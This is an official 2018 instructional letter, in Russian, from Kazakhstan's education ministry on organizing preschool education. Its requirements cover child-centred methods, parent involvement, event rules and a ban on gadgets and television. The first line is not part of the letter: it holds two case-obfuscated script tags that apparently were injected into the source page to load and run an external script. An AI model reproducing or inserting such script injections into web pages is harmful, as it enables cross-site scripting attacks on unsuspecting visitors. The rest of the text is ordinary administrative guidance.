<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
МИНИСТЕРСТВО ОБРАЗОВАНИЯ И НАУКИ РЕСПУБЛИКИ КАЗАХСТАН
РЕСПУБЛИКАНСКИЙ ЦЕНТР «ДОШКОЛЬНОЕ ДЕТСТВО»
ОБ ОРГАНИЗАЦИИ
ОБРАЗОВАТЕЛЬНОГО ПРОЦЕССА В ДОШКОЛЬНЫХ ОРГАНИЗАЦИЯХ РЕСПУБЛИКИ
КАЗАХСТАН
в 2018-2019
учебном году
ИНСТРУКТИВНО-МЕТОДИЧЕСКОЕ
ПИСЬМО
Требования к психолого-педагогическим условиям развития и
воспитания детей
- использование в
педагогическом процессе форм и методов работы с детьми, соответствующих их
возрастным и индивидуальным особенностям;
-
построение образовательной деятельности на основе взаимодействия с
детьми всех педагогов, специалистов дошкольной организации и родителей,
ориентированного на интересы и возможности каждого ребенка;
-
поддержка взрослыми положительного, доброжелательного отношения детей
друг к другу;
-
уважительное отношение взрослых к ребенку, поддержка положительной
самооценки детей, уверенности в собственных возможностях и способностях;
-
создание необходимых условий для диагностики и коррекции развития и
социальной адаптации детей;
-
использование в образовательном процессе учебно-методической литературы,
согласно Перечню учебников;
-
повышение профессионального мастерства педагогических кадров;
-
обсуждение и утверждение на родительских собраниях порядка проведения
мероприятий (праздников, утренников, досуга) согласно Положению о проведении
мероприятий. В данный документ, который должен быть в каждой дошкольной
организации, необходимо включить порядок организации мероприятия, участие
родителей, правила их поведения и т.д.;
-
консультативная поддержка педагогов и родителей в вопросах воспитания и
развития ребенка, в том числе инклюзивного образования.
-
привлечение посторонних лиц к проведению мероприятий для оказания
различных услуг (фото-, видеосъемка, аниматоры и др.) не допускается в целях
обеспечения охраны жизни и здоровья детей;
- исключить затраты родителей на проведение мероприятий (дни рождения,
утренники, выпускные и др.);
-
запретить использование гаджетов (смартфонов, планшетов и др.), а также
просмотр телевизионных передач (мультфильмов) в дошкольной организации с учетом
их отрицательного влияния на здоровье и физическое развитие детей, возможное
психическое расстройство, снижение творческой активности, задержку речевого
развития и другие негативные воздействия.
Астана, 2018